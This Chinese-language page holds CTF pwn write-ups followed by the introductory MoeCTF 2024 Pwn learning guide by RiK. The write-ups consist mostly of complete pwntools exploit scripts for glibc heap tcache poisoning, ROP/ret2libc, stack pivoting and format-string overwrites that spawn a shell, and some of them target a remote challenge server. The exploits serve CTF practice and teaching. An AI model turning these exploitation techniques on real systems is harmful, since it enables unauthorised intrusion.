首先接收 gift backdoor。没限制堆块大小没清空堆块,leak libc、heap base。off-by-one 修改 size 构造重叠块,利用重叠堆块和堆基址绕过 safe-linking 修改 next,tcache poisoning 至 __malloc_hook,backdoor getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=[ 
        "konsole", "-e"], log_level='debug') 
binary = './off-by-one' 

p = process(binary) 
# p = connect('27.25.151.80', 39991) 
e = ELF(binary) 
libc = ELF('./libc-2.32.so') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.recvuntil(b':') 
shell = int(p.recvuntil(b'1.', drop=True), 16) 
success(hex(shell)) 

def add(size: int, content: bytes = None): 
    p.sendlineafter(b': ', b'1') 
    p.sendlineafter(b': ', str(size).encode()) 
    if content is not None: 
        p.sendlineafter(b'?\n', b'1') 
        p.sendafter(b': ', content) 
    else: 
        p.sendlineafter(b'?\n', b'0') 

def delete(index: int): 
    p.sendlineafter(b': ', b'2') 
    p.sendlineafter(b': ', str(index).encode()) 

def edit(index: int, content: bytes): 
    p.sendlineafter(b': ', b'3') 
    p.sendlineafter(b': ', str(index).encode()) 
    p.sendafter(b': ', content) 

def show(index: int): 
    p.sendlineafter(b': ', b'4') 
    p.sendlineafter(b': ', str(index).encode()) 

add(0x500) 
add(0x18) 
delete(0) 
delete(1) 
add(0x500, b'a')
add(0x18) 
show(0) 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 1981537 
success(f'libc_base: {hex(libc.address)}') 
show(1) 
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12 
success(f'heap_base: {hex(heap_base)}') 

add(0x18) 
add(0x18) 
edit(1, cyclic(0x18) + b'\x41') 
delete(2) 
add(0x38) 
add(0x18) 
delete(4) 
delete(3) 
edit(2, cyclic(0x18) + p64(0x21) + p64(libc.sym['__malloc_hook'] ^ (heap_base >> 12))) 
add(0x18) 
add(0x18, p64(shell)) 

p.sendlineafter(b': ', b'1') 
p.sendlineafter(b': ', b'1') 

p.interactive()

message

打开文件模式为 a+,写入时从文件末尾开始。开启两个远程向同一个文件写入,sleep 至两进程等待输入时先后输入。view 时没有检查文件内容长度,存在栈溢出。第一次 puts leak libc,第二次 getshell。

from ctypes import * 
from pwn import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './message' 

e = ELF(binary) 
libc = ELF('./libc.so.6') 

def add(p): 
    p.sendlineafter(b':', b'1') 

def start_edit(p): 
    p.sendlineafter(b':', b'2') 

def edit(p, content: bytes): 
    p.sendafter(b':', content) 

def view(p): 
    p.sendlineafter(b':', b'3') 

def delete(p): 
    p.sendlineafter(b':', b'4') 

pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 

p = connect('27.25.151.80', 37364) 
q = connect('27.25.151.80', 37364) 

add(p) 
add(q) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p6
4(e.sym['main'])) 
view(p) 
p.recvuntil(b'\n') 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

bin_sh = libc.search(b'/bin/sh\x00').__next__() 
system = libc.sym['system'] 
add(p) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rdi + 1) + p64(system)
) 

# gdb.attach(p, "set follow-fork-mode parent") 

view(p) 

p.interactive()

login

两次栈迁移板子。read 的参数和缓冲区大小竟然都和羊城杯 2024 签到题一样,改一下 fake_stack 地址直接出了。

from pwn import * 
from pwnlib.util.proc import wait_for_debugger 

context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug') 

binary = './vuln' 
# p = process(binary) 
p = connect('27.25.151.80', 39571) 
libc = ELF('./libc.so.6') 
e = ELF(binary) 

# gdb.attach(p) 

puts_addr = e.plt['puts'] 
puts_got_addr = e.got['puts'] 
vuln_addr = e.sym['login'] 
pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 
leave = e.search(asm('leave; ret;')).__next__() 
fake_stack = 0x601500 
pop_rbp = e.search(asm('pop rbp; ret;')).__next__() 
fake_stack2 = 0x601500 + 0x3fe300 - 0x3FE2C0 

p.sendafter(b'n!\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4)) 
p.sendafter(b'n!\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vul
n_addr + 4) + p64(0) + p64(fake_stack) + p64(leave)) 

puts = u64(p.recvn(6).ljust(8, b'\x00')) 
libc_base_addr = puts - libc.sym['puts'] 
print(hex(libc_base_addr)) 

bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__() 
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__() 
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__() 
execve = libc_base_addr + libc.symbols['execve'] 
pop_r12_r13 = libc_base_addr + libc.search(asm('pop r12; pop r13; ret;')).__next__() 
one_gadget = libc_base_addr + 0x4527a 
p.sendafter(b'n!\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadge
t) + p64(execve) + p64(fake_stack2) + p64(leave)) 

p.interactive()

eznote

限制堆块大小,考虑 tcache attack。将一个 tcache 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,leak libc。然后修复 size=0x20 的 tcache count,再次 tcache poisoning 至 __malloc_hook,one_gadget getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug") 
binary = "./attachment" 

# p = connect('27.25.151.80', 37857) 
p = process(binary) 
e = ELF(binary) 
libc = ELF("./libc.so.6") 

gdb.attach(p) 

index = -1 


def add(size: int, content: bytes) -> int: 
    global index 
    assert size <= 0x80 
    p.sendlineafter(b"> ", b"1") 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 
    index += 1 
    return index 


def edit(index: int, size: int, content: bytes): 
    p.sendlineafter(b"> ", b"2") 
    p.sendlineafter(b": ", str(index).encode()) 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 


def show(index: int): 
    p.sendlineafter(b"> ", b"3") 
    p.sendlineafter(b": ", str(index).encode()) 


def delete(index: int): 
    p.sendlineafter(b"> ", b"4") 
    p.sendlineafter(b": ", str(index).encode()) 


add(0x80, b"aaaa") 
delete(0) 
edit(0, 0x10, b"\x00" * 0x10) 
delete(0) 
show(0) 
p.recvuntil(b": ") 
heap_base = u64(p.recv(6).ljust(8, b"\x00")) >> 12 << 12 
success(f"heap_base: {hex(heap_base)}") 

edit(0, 0x10, p64(heap_base + 0x10) + b"\x00" * 8) 
add(0x80, b"bbbb") 
edit(add(0x80, b"cccc"), 0x80, b"\x00" * 79 + b"\x07") 
delete(2) 
show(2) 
p.recvuntil(b": ") 
main_arena = u64(p.recv(6).ljust(8, b"\x00")) 
libc.address = main_arena - 2018272 
success(f"libc_base: {hex(libc.address)}") 

delete(1) 
edit(2, 0x20, p64(main_arena) + p64(main_arena)[0:7] + b"\x01") 
edit(1, 0x8, p64(libc.sym["__malloc_hook"])) 
add(0x80, b"PwnRiK") 
add(0x80, p64(libc.address + 0xE3B01)) # one_gadget

p.sendlineafter(b"> ", b"1") 
p.sendlineafter(b": ", b"1") 

p.interactive()

Format1

标准的ret2libc

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './test'

elf = ELF(file_name)
libc = ELF('./libc-2.31.so')
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# io = process(file_name)
io = remote('27.25.151.80', 41880)

# gdb.attach(io)
io.recvuntil(b'BuildCTF\n')
io.recvuntil(b'=> ')
puts_addr = int(io.recvuntil(b'\n'), 16)
log.success(f"puts_addr = {hex(puts_addr)}")


io.sendline(b'%15$llx')
io.recvuntil(b's is ')
canary = int(io.recvuntil('?')[:-1], 16)
log.success(f"canary = {hex(canary)}")
libc_addr = puts_addr - libc.sym['puts']
log.success(f"libc = {hex(libc_addr)}")
system_addr = libc.sym['system'] + libc_addr
binsh_addr = next(libc.search(b'/bin/sh\x00')) + libc_addr
gad_pop_rdi_ret = libc_addr + next(libc.search(asm("pop rdi; ret;"), executable=True))

payload = cyclic(0x30 - 8) + p64(canary) + cyclic(8) + p64(gad_pop_rdi_ret) + p64(binsh_addr) +  p64(gad_pop_rdi_ret + 1) + p64(system_addr)
io.sendline(payload)

io.interactive()

Format2

已知 libc 偏移,一次 scanf 格式化字符串漏洞达到任意地址任意写,程序自然退出。注意到 libc 与 ld 偏移固定,考虑劫持 rtld_lock_default_lock_recursive 为 one_gadget,程序 exit 时在 _dl_fini 内被执行。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug")
binary = "./test1"

# p = process(binary)
p = connect('27.25.151.80', 42192)
e = ELF(binary)
libc = ELF("./libc-2.31.so")

p.recvuntil(b"0x")
libc_base = int(p.recvuntil(b"\n", drop=True).decode(), 16) - libc.sym["puts"]
success(hex(libc_base))
p.sendline(b'%7$lu'.ljust(8, b'\x00') + p64(libc_base + 0x1f4000 + 192360)) # &rtld_lock_default_lock_recursive
p.sendlineafter(b"?\n", str(libc_base + 0xE3B2E).encode())

p.interactive()

libc 与 ld 偏移与内核版本有关,一开始取本地偏移打远程打不通,换用 Ubuntu 22.04 虚拟机取偏移才顺利打通远程,其实也可以考虑爆破地址 8 bit。

欢迎

欢迎来到 MoeCTF 2024 Pwn。🥳

Pwn(读作“砰”,拟声词)一词起源于网络游戏社区,原本表示成功入侵了计算机系统,在 CTF 中则是一种题目方向:通过构造恶意输入达到泄漏信息甚至劫持几乎整个系统(getshell)的目的。其实在 CTF 比赛发展初期,赛题通常只与二进制安全相关,因此 Pwn 是 CTF 领域最原始的方向。在这里,你能深入计算机系统最底层,感受纯粹的计算机科学。🤤

$$ Pwn = 逆向工程 + 漏洞挖掘 + 漏洞利用 $$

很高兴能和你一起学习。在这篇文档中,我将尽量简明地介绍 Pwn 是什么、怎么学,希望能有所帮助。本人水平有限,如有纰漏望指正。👀

前置知识

Pwn 前置知识很多,也许是 CTF 所有方向中最多的。从零到能自主解出题目需要很长时间,请多点耐心……

计算机数据表示

Pwn 属于二进制(binary)安全,为什么说是“二进制”?因为计算机只处理和存储二进制信息。与我们日常使用的十进制“逢十进一”不同,“逢二进一”的二进制世界只有“0”和“1”。一位二进制信息称为比特(bit),8 比特为 1 字节(byte),字节通常是计算机处理信息的最小单位,计算机中的信息通常是连续的字节。人类输入给计算机的任何信息(文字图像音频等)都可编码为数字信息(二进制比特流)进行处理,需要输出时再解码为原形式。

不同进制间可相互转换,你需要熟悉进制转换方式,其中最重要的是二进制、十进制、十六进制间的转换。对于 Pwn,我们通常希望轻松阅读内存中的原始数据。为简化二进制表达便于人类理解,我们通常将计算机中二进制数据用十六进制表示:一位十六进制数正好为 4 比特,两位十六进制数为 1 字节

有时为方便数据类型转换和运算,计算机存储数字时,数字在内存中的高低位与人类阅读的高低位相反,这种数据存储方式叫“小端存储”。你需要知道大端序(big-endian)和小端序(little-endian)的概念,能够区分它们,并能做到相互转换。

程序设计

既然 Pwn 涉及逆向程序逻辑,我们需要看懂程序究竟在做什么并寻找其漏洞,那么我们首先得有能力“正向”写出一般的程序吧。电脑无法读懂人类语言,我们必须得用程序设计语言编写程序,并编译(详见下文“编译与汇编”)成电脑能“读懂”并执行的机器码。正在阅读这篇文档的你很可能没有任何编程基础,这很正常。你也许曾了解过 Visual Basic、JavaScript... 但是对于 Pwn 学习初期,我们一般面对 Linux 环境下的 C 语言

[!Note]

在正式开始前,我不得不插入这段。你是否常用 PC,还是只用过手机平板等移动设备?如果你是连从浏览器安装软件、解压缩等基本操作都不熟悉的“电脑小白”,我建议先暂停,利用互联网资源熟悉计算机操作。(接下来我默认你已配置好“科学上网”工具。)

最重要的是善用搜索引擎,推荐使用微软必应谷歌

C

鉴于 C 语言贴近底层且灵活度高,大多数 Pwn 题目程序都由 C 语言编写,大多数逆向工具的逆向结果也是类似 C 语言的伪代码(详见下文“IDA 和 gdb”)。你需要入门学习 C 语言,这里推荐阅读《C Primer Plus》,和查阅非教程工具网站 C 参考手册(中文)、man7.org(英文)。强烈建议在 Linux 环境中编译运行 C 语言(详见下文“环境搭建”)。

我们目前不需要完整系统地学习 C 语言(不代表未来不需要)。你需要关注 C 语言中的基础数据类型、流程控制、标准库函数(scanfprintfputsstrcmpsystemmmap 等)、位操作和指针不要深陷语言特性和算法中。

C 语言能很好地和汇编语言(详见下文“编译与汇编”)对应,学习两者时应相互结合,理解等效的 C 语句和汇编指令

Python

为了能编写漏洞利用脚本(详见下文“Pwntools”),你还需要学习 Python 语言。Python 语言极容易上手,网上教程多如牛毛。你至少需要学会基本语法与数据类型、列表(list)字典(dict)数据结构用法、函数(方法)定义及调用。建议使用 Visual Studio Code 编辑器编写 Python 脚本。(少读书多实践)

[!TIP]

如果你对计算机科学很感兴趣想系统学习并且英语不错,我强烈建议你看 CS61A 系列课程及其配套电子书学习 Python。

环境搭建

GNU/Linux

Linux 是一种自由和开放源代码的类 Unix 操作系统,如今通常用于服务器,我们日常使用的 PC 操作系统通常是 Windows。由于 MoeCTF 以及其他 CTF 比赛中的 Pwn 题目全都在 Linux 特别是 Ubuntu(一个 Linux 发行版)环境中,为了至少能运行 Pwn 题附件的程序(详见下文“做题”),我们当然需要一个 Linux 环境。推荐安装一个 Ubuntu 虚拟机或使用 docker(详见下文“Pwn”),网上教程太多,这里不赘述(善用搜索引擎)。如果你只是想尝试 Pwn,那么 WSL2 也已经够用了,并且更流畅。

Pwn

安装好 Linux 环境后,还需继续搭建 Pwn 环境,这里有一篇十分详尽的文章,不过内容比较硬核。😰

如果无法完全看懂也没关系,其中有很多在 Pwn 学习后期才会用到的东西。目前你至少需要这三样

  • Linux Python 环境 + pwntools
  • 静态逆向分析工具(如 IDA Free)
  • Linux 调试器(如 GDB + pwndbg

你还需要安装更多工具:checksecbinutilspatchelfLibcSearcherglibc-all-in-oneropperone_gadgetseccomp-tools 等,其中有很多你目前用不到,但前两个建议先安装好(见上文 Wiki 文章)。

一个标准的 Pwn 流程是:

  1. checksec 检查保护机制(详见下文“Linux 安全机制”)
  2. patchelf 替换 libc、ld 等(可选)
  3. 用 IDA 反汇编反编译挖掘漏洞
  4. 用 GDB + pwndbg 调试执行确认漏洞
  5. 用 Python + pwntools 编写利用脚本

[!NOTE]

libc 和 ld 分别是 Linux C 标准库和动态链接器。我们用 C 语言编写程序时经常调用一些“从天而降”的函数(printfscanf...),它们其实就在 libc(通常为 GNU 提供的 glibc)里,ld 则搭起你的程序和这些函数间的“桥梁”。(详见下文“编译与汇编”)Linux 系统中几乎所有软件都需要用到它们!

Linux 操作

既然 Pwn 一般在 Linux 中操作,那么学习一些 Linux shell 操作自然必要。你至少应该明白 cdlschmodfilecatgrepstringsman 等基础命令和管道与重定向的概念。在这期间,你也将学到 Linux 用户与用户组及其权限管理机制。推荐这个短文(选读):

[!NOTE]

在计算机领域,“shell”是一种计算机程序,它将操作系统的服务提供给人类用户或其他程序,在 Linux 中通常指命令行界面。

对于 Pwn,一个很重要且必要的命令行工具是 Netcat(nc 命令),它能用来连接 Pwn 题目在线环境。Netcat 是一个强大的多功能网络工具,目前你只需要知道一种用法:nc <ip> [端口]

[!NOTE]

各种命令行文档里的尖括号“<参数名>”代表必需参数,方括号“[参数 名]”代表可选参数,实际使用时不输入。在某些版本的 Netcat 中上述语法应为 nc <ip>[:端口]

另外你应该学习版本控制软件 git 的基本使用方法,主要是 git clone <URL>。用于下载各种工具。

还需要了解 Linux 常见的系统调用(syscall)——openreadwritemmapexecve 等和文件描述符(file descriptor / fd)的概念:stdin - 0、stdout - 1 ...。它们是用户空间程序(我们平时运行的程序)和操作系统内核沟通的桥梁。你需要知道 Linux 程序运行时发生了什么(如动态链接过程,gotplt 的概念,调用栈结构)。

很乱对吧?若想系统地详细了解,推荐这些书:

Linux 一切皆文件!希望你能从中感受到 Unix 哲学的魅力。😃 之后我强烈建议你在空闲时间看看这系列视频:

编译与汇编

当你读到这里时,你或许已经能用 C 语言编写并运行简单程序(最好在 Linux 中操作),然而对于 Pwn 来说,我们必须要熟悉程序编译过程和基本的汇编语句。你需要知道 ELF 文件格式(仅了解)、预处理 -> 编译 -> 汇编 -> 链接(静态 / 动态)过程、Linux 进程虚拟内存空间(、BSS 段、数据段、代码段等)理解调用栈结构及其增长方向与数据存储增长方向相反是 Pwn 前期学习的一大重点。

对于汇编语句,我们平时使用的和 Pwn 程序一般编译至 x86 CPU 指令集(本文默认 64 位 x86),你需要学习 x86 汇编基础,至少应能看懂 movleaaddsubxorcallretcmpjmp 及其变种、pushpopnop。电脑会顺序依次执行这些语句。除了汇编语句,你需要了解 CPU 寄存器,能够区分普通的通用寄存器以及有特殊用途的寄存器(spip...)。

在做 Pwn 题时,有时你需要先在适当位置填入 shellcode(用于获取 shell 的汇编码)再劫持控制流(详见下文)至此处以执行。你需要知道计算机在汇编层面是如何调用函数的。具体而言,你需要知道并牢记 amd64 System V ABI 函数调用规约:调用函数时的部分参数通过寄存器(rdirsirdxrcxr8r9)传递其余通过栈传递,32 位系统直接通过栈传递参数(从右至左入栈);函数返回值也由寄存器(rax)传递。除了函数调用,你还需要知道 syscall 的系统调用号与参数的传递方式rax...),这与函数调用类似。(善用搜索引擎)

学习路线

终于正式开始 Pwn 了。😇 以上前置知识不用先学完,最好边学边做。学习 Pwn 一定不能一直读书,这并不能让你“基础扎实”,网络安全是十分重实践的领域。我的经验是多做题,多看其他师傅(通称)的 Writeup(赛后复盘)。另外,尽量看在线资源,书籍信息一般具有滞后性。

IDA 和 gdb

大多数 Pwn 题的附件都只会提供本题在线服务(由 nc 转发)的可执行文件。我们至少要先用 objdump 等命令将其内容解释为人类可读信息。更好的办法是使用专业的逆向分析软件,例如开源软件 Radare2 或者商业软件 IDA(推荐)。对于 Linux 我们还必备 GNU 调试器 gdb,它能追踪程序运行的诸多细节。Pwn 的逆向相对简单,一般来说只要将可执行文件拖入 IDA,直接以默认配置加载,按下 F5 即可轻松阅读程序逻辑。学习这些工具时重点关注快捷键,这不是为了做题更快,而是为了不因操作工具扰乱思绪。对于 GDB,你至少应该知道如何运行、暂停、继续程序(rctrl+Cc),下断点(b)、观察点(wa),查看寄存器、反汇编码、栈、映射表信息,读取对应地址内容(pxtele。GDB 的插件 pwndbg 提供了更多实用命令(vmmapstacksearchcanary ...)。请一边做题一边领悟它们的作用。

Pwntools

还记得之前好不容易配置好的 pwntools 吗?它能够替我们自动与程序交互:接收程序输出并向程序输入,和手动键盘操作的效果差不多(更快!)。Pwntools 中还有很多实用工具,不仅仅是一个“输入输出工具”。学习 pwntools 不需要从头读文档,应该用到什么学什么。多读其他师傅的 exp(漏洞利用脚本)可以发现很多方便的 pwntools 用法。你至少需要知道如何接收程序输出,如何向程序输入,特别是无法用键盘正常输入的“二进制”信息。当你做了一些 pwn 题后,甚至应该写一个属于自己的 pwntools 模板。

[!TIP]

虽然 recv()send() 很方便,但是我强烈建议使用 recvuntil()sendafter(),以防止各种本地和远程环境不符的情况。sendafter 函数的首个参数(“接收至”)也不宜过长,几个字符即可(别忘了 \n)。 Pwntools 库函数的参数和返回值类型通常为 bytes,传入字符串字面量时应在前加上 b 标记(例如 b'I am string' ),使其成为 bytes(不这么做会有警告,虽然不影响解题)。

常见漏洞和利用方法

以下列举出一些入门常见的漏洞和利用方法,限于篇幅只能一句话概括且不够准确严谨。你必须通过 CTF Wiki 等资料(详见下文“推荐资料”)具体学习,这里仅提供学习方向。(“⭐”数代表针对入门学习的重要性)

普适漏洞

  • 整数溢出 —— 数学世界整数有无穷多,但由于内存限制,计算机中补码表示的“整数”有上下限。通过输入超大数字溢出或者利用有符号整数(负数)强转为无符号整数可以构造超大数字,从而绕过检查或越界写入。⭐⭐⭐
  • 栈溢出 —— 最经典的漏洞,通过越界写入修改函数返回地址或栈指针从而实现劫持控制流和栈迁移(篡改栈基址 rbp)。⭐⭐⭐⭐
  • 字符串 \0 结尾 —— C 风格字符串以零字节(“二进制”的 \0 而非 ASCII 数字 0)结尾。如果破坏或中途输入这一标记则可泄漏信息或绕过检查(如绕过 strcmp)。这是很多漏洞的“万恶之源”。⭐⭐⭐
  • 返回导向编程(ROP)—— 这是 Pwn 前期学习重点。其中包含 ret2text、ret2libc、ret2syscall、ret2system、ret2shellcode、ret2csu、SROP 等,这也是栈溢出的主要目的。进阶:通过 ropper 等工具寻找程序中 gadgets(ROP 片段,以 ret 结尾)结合栈溢出构造调用链甚至能执行几乎任意行为(通常 openreadwrite)。⭐⭐⭐⭐⭐
  • 竞争条件 —— 程序并行访问共享资源时,由于各线/进程执行顺序不定,有可能绕过检查或破坏数据。⭐

Linux 安全机制

  • NX(No eXecute)—— 通过将栈内存权限设置为不可执行,使栈上机器码不可执行,从而无法简单地在栈上布置 shellcode。一般所有题目都会开启,可用栈迁移或修改可执行位等方法绕过。⭐⭐⭐
  • Canary —— 在栈上栈指针和返回地址前设置一个随机值(canary),通过比对函数返回前和执行前该值是否相等来检测栈溢出攻击。通过直接越界读泄漏、劫持 scanf 特殊输入或爆破等方法绕过。⭐⭐⭐⭐
  • ASLR / PIE —— 通过随机化程序的内存布局(地址),使得攻击者难以预测程序的内存结构,从而增加攻击难度。设法泄漏基址或爆破等从而绕过。⭐⭐
  • RELRO —— 通过将动态链接程序的全局偏移量表(GOT)在程序启动后设置为只读,防止通过修改其中数据结构进行攻击。⭐
  • Seccomp —— 一种沙箱保护机制,可以限制程序能够使用的 syscall。⭐

GLibc 相关漏洞

  • fmt_str —— 若 printf 等格式化字符串函数中“格式”(format)参数为用户输入,则可被利用,从而达到任意地址读写等目的。⭐⭐⭐
  • one_gadget —— 将程序指针修改至 glibc 中的一些特殊位置(one_gadgets)同时满足少量条件即可直接 getshell。⭐
  • Heap / _IO_FILE / ... —— Pwn 永无止境 ...

推荐资料

  • 《深入理解计算机系统》—— CSAPP。个人认为是不得不看的经典。
  • CTF Wiki
  • CTF-All-In-One
  • 《程序员的自我修养:链接、装载与库》
  • 《CTF 权威指南(Pwn 篇)》
  • CS 自学指南——计算机科学(Computer Science)自学指南。
  • 《IDA Pro 权威指南》

解题

别忘了这里是 CTF!一般的 CTF Pwn 题目由题目描述、附件、远程环境组成。你需要做的是通过刚才所学分析附件中程序的漏洞并成功在本地 getshell 或拿到“flag”。获取本地的 shell 没什么意义,远程环境运行的程序和附件中的相同,只要连接远程环境并执行相同操作即可获取远程的 shell!(MoeCTF Pwn 比较简单,不一定需要 getshell,有时连附件也没有。)程序附件一般没有可执行权限,记得先执行 chmod +x <file>

[!IMPORTANT]

对于西电 CTF 终端:如果你正在使用虚拟机/WSL,最稳妥的方案是在虚拟机/WSL 上安装并配置 wsrx。如果在主机配置 wsrx:请首先确保虚拟机能和主机共享网络(例如能访问正常网站)。在 wsrx 主页点击小齿轮设置监听地址为 0.0.0.0 然后在主机执行 ipconfig 查询本机局域网 IP 地址(或者为虚拟机配置的 NAT 分配的主机地址),在虚拟机/WSL 里通过主机地址(例如 192.168..)连接远程环境而非 127.0.0.1/localhost。注意在这种情况下需要将平台在线环境给出的 ws 链接(点击“WSRX”键)粘贴到 wsrx 主页进行连接而不能用平台直接创建连接。连接环境并非题目考察内容,如仍有问题请直接联系群管理员。

MoeCTF 题目设置由易到难知识覆盖面较广,而且面向基础。但是但是,刚开始做 Pwn 也许一道题就能做一天(也算是 Pwn 的乐趣所在吧😌),这很正常。如果你未能完全看懂本指北,也很正常(“学习路线”一节有不少“超纲”)。大胆尝试才是关键!直接开始 MoeCTF 2024 吧,如果你未来想要继续做题:

实例

接下来是一个简单的 ret2text 实例。

题目

环境:x86_64 GNU/Linux

// File: pwn.c

#include <stdio.h>
#include <stdlib.h>

void backdoor() { system("/bin/sh"); }

int main(void) {
  char name[0x10];
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}

通过以下命令进行编译($ 仅为提示符,实际不输入),强制启用 char *gets(char *) 并关闭一些保护机制。

$ gcc --ansi -no-pie -fno-stack-protector pwn.c -o pwn

接下来,我们假设这个程序文件在网上公开下载,假设这个程序在一台服务器上运行,已经暴露在网络中,提供给远程计算机进行交互。现在我们来攻击它。😈

攻击

1. 用 checksec 检查保护机制

我们是攻击者,已经得到了这个程序文件(就是刚才编译的结果)。在程序所在目录执行

$ checksec --file=pwn

,输出(部分略):

RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

。可以看到栈溢出保护(Stack Canary)和位置无关程序(PIE)保护已关闭。

2. 用 IDA 反汇编反编译挖掘漏洞

将程序拖入 IDA 中加载(你可能需要将程序文件从虚拟机中移到主机中,这里不赘述),找到 main 函数,按 F5 反编译显然可得该程序使用一个不会检查输入与缓冲区长度的 gets 函数读入字符串,我们因此可以进行无限长栈缓冲区溢出。同时我们看到 backdoor 函数会启用一个 shell,这正是我们想要的。由于没有启用 PIE,于是只需将控制流劫持到此处(静态地址)即可。记下 backdoor 函数地址。

主函数结束方式为正常 return,此时程序执行流会跳转到先前调用主函数时保存在栈中的返回地址所指向的位置。但是由于栈向低地址扩展(反向),而字符串写入由低地址向高地址(正向),且程序执行时先保存返回地址再开辟用于存储栈上字符串的空间,所以返回地址位于读入字符串的高地址处且可因字符串溢出而被修改。gets() 在读入字符串时不会检查长度,可以任意长度溢出。因此只需覆盖返回地址至 backdoor 即可。别忘了调用栈上返回地址前还保存了栈指针,虽然对解题无影响,但因此需要多输入覆盖 8 个字节。由于编译器会倾向将栈上变量地址 16 字节对齐(地址能被 16 整除),所以栈上最高地址(最后一个)变量的末尾可能不紧贴暂存的 rbp。不能通过变量的“大小”直接判定其与栈底的偏移,做题时可以通过反编译结果中变量旁的注释查看栈上变量的准确位置。

3. 用 GDB + pwndbg 调试执行确认漏洞

在程序所在目录执行(pwndbg> 仅为提示符,实际不输入)

$ gdb ./pwn
pwndbg> b gets
pwndbg> r

,触发断点。观察 [ STACK ] 一栏,可以看到当前的程序调用栈(注意 GDB 中地址空间随机化默认不启用,但对于本题无影响):

00:0000│ rsp     0x7fffffffd4a8 —▸ 0x40118f (main+35) ◂— lea rax, [rbp - 10h]
01:0008│ rax rdi 0x7fffffffd4b0 ◂— 0x0
02:0010│-008     0x7fffffffd4b8 —▸ 0x7fffffffd5e8 —▸ 0x7fffffffda83
03:0018│ rbp     0x7fffffffd4c0 —▸ 0x7fffffffd560 —▸ 0x7fffffffd5c0 ◂— 0x0
04:0020│+008     0x7fffffffd4c8 —▸ 0x7ffff7da7e08 (__libc_start_call_main+120) ◂— mov edi, eax
...

​ (其中 —▸◂— 都可理解为 C 语言中的指针解引用,0x7fxxxx 为栈地址,未实际存储。)

  • rsp + 0x00:当前栈顶。存放 gets 函数的返回地址。(不重要,无法控制)
  • rsp + 0x08:存放 name 前半。第 1 个参数(rdi 所指),即源码中 name。用户输入自此读入。
  • rsp + 0x10:存放 name 后半。此时仍有“垃圾”数据。
  • rsp + 0x18:存放 __libc_start_call_main 函数(main 的调用方)的调用栈帧基址(rbp)。
  • rsp + 0x20:存放 main 函数返回地址

4. 用 Python + pwntools 编写利用脚本

在程序所在目录编写 Python 脚本

# File: pwnit.py

from pwn import *                 # pwntools
io = process('./pwn')             # 启动程序
backdoor_address = ...            # 刚才获得的 `backdoor` 地址
backdoor_address += 1             # 施法
payload  = cyclic(0x10)           # 填满 `name`
payload += cyclic(0x8)            # 填满暂存的 `rbp`
payload += p64(backdoor_address)  # 篡改返回地址
io.sendlineafter(b'?\n', payload) # 待输出至 `?\n` 后输入 payload
io.interactive()                  # 收获成果

。在程序所在目录执行

$ python pwnit.py

,成功 getshell。🎉

实际上你需要用 io = connect('<IP>', <端口>) 替换 io = process('./pwn') 以攻击远程环境(相当于 nc 连接)。

[!NOTE]

backdoor_address += 1 是个啥?

你可以试着去掉这行再运行看看,程序运行时触发 SIGSEGV(段错误)。这是 Pwn 初学者必踩一次的坑。用 GDB 调试运行(pwntools gdb 模块能帮到你),程序在 system 函数中这个指令处崩溃:

movaps xmmword ptr [rsp + 0x50], xmm0

其实是 movaps 指令要求目标地址(此处为 rsp + 0x50)16 字节对齐(尾数为 0)导致的。通过将劫持的地址 +1,跳过 backdoor 中的 push rbp(该指令机器码长度 1 字节)从而使 rsp 16 字节对齐。

类似的解决方案是在 ROP 调用链中插入一个空 gadget(仅 ret),使 rsp 16 字节对齐。

感谢

感谢你认真读到这里,感谢所有让 MoeCTF 2024 成为可能的人。😉

作者:RiK,本文以 CC BY-SA 4.0 协议共享。(参考资料均已在文中引用)